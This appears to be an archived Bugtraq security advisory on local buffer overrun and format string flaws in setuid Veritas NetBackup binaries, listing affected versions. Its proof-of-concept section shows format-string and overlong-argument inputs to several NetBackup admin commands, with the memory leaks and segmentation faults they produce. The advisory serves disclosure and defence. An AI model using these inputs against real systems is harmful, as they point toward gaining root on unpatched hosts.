Veritas NetBackup Multiple Unspecified Local Memory Corruption Vulnerabilities

BID:10226

Info

Veritas NetBackup Multiple Unspecified Local Memory Corruption Vulnerabilities

Bugtraq ID: 10226
Class: Unknown
CVE:
Remote: No
Local: Yes
Published: Apr 27 2004 12:00AM
Updated: Apr 27 2004 12:00AM
Credit: Discovery of these issues is credited to Secure Network Operations.
Vulnerable: Veritas Software NetBackup Global Data Manager 5.0
Veritas Software NetBackup Global Data Manager 4.5 MP4
Veritas Software NetBackup Global Data Manager 4.5 MP3
Veritas Software NetBackup Global Data Manager 4.5 MP2
Veritas Software NetBackup Global Data Manager 4.5 MP1
Veritas Software NetBackup Global Data Manager 4.5 FP4
Veritas Software NetBackup Global Data Manager 4.5 FP3
Veritas Software NetBackup Global Data Manager 4.5 FP2
Veritas Software NetBackup Global Data Manager 4.5 FP1
Veritas Software NetBackup Global Data Manager 4.5
Veritas Software NetBackup DataCenter 5.0
Veritas Software NetBackup DataCenter 4.5
Veritas Software NetBackup Advanced Reporter 5.0
Veritas Software NetBackup Advanced Reporter 4.5 MP4
Veritas Software NetBackup Advanced Reporter 4.5 MP3
Veritas Software NetBackup Advanced Reporter 4.5 MP2
Veritas Software NetBackup Advanced Reporter 4.5 MP1
Veritas Software NetBackup Advanced Reporter 4.5 FP4
Veritas Software NetBackup Advanced Reporter 4.5 FP3
Veritas Software NetBackup Advanced Reporter 4.5 FP2
Veritas Software NetBackup Advanced Reporter 4.5 FP1
Veritas Software NetBackup Advanced Reporter 4.5
Veritas Software NetBackup Advanced Reporter 3.4
Veritas Software Net Backup Professional 3.51.30
Veritas Software Net Backup Professional 3.51.20
Veritas Software Net Backup Professional 3.51.15
Veritas Software Net Backup Professional 3.51.10
Veritas Software Net Backup Professional 3.51
Veritas Software Net Backup Professional 3.6
Veritas Software Net Backup Professional 3.5
Not Vulnerable:

Discussion

Veritas NetBackup Multiple Unspecified Local Memory Corruption Vulnerabilities

Multiple unspecified local buffer overrun and format string vulnerabilities have been reported to exist in various setuid Veritas NetBackup binaries. These issues may be exploited to execute arbitrary code with root privileges.

It should be noted that these issues are confirmed to exist and be exploitable on Linux platforms, however, releases of the software on other Unix-based platforms are also believed to be similarly affected.

It is also not known at this point which specific NetBackup releases or distributions are affected.

Exploit / POC

Veritas NetBackup Multiple Unspecified Local Memory Corruption Vulnerabilities

The following proof of concept exploits and examples have been supplied:

$ ./bin/admincmd/bpimage --%x.%x.%x.%x.%x
bpimage: unrecognized option --40481034.40016aec.bffed1d4.0.0

$ ./bin/admincmd/bpimport --n%n%n%n%n%n
Segmentation fault

$ ../admincmd/bpmedia -unfreeze %x
bpmedia: unrecognized option 40481034
bpmedia:

$ ./netbackup/bin/admincmd/bpdir -M `perl -e 'print "A" x 1282'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation fault

$ ./bpmedialist -h `perl -e 'print "A" x 9000'`
Segmentation fault

Solution / Fix

Veritas NetBackup Multiple Unspecified Local Memory Corruption Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Veritas NetBackup Multiple Unspecified Local Memory Corruption Vulnerabilities

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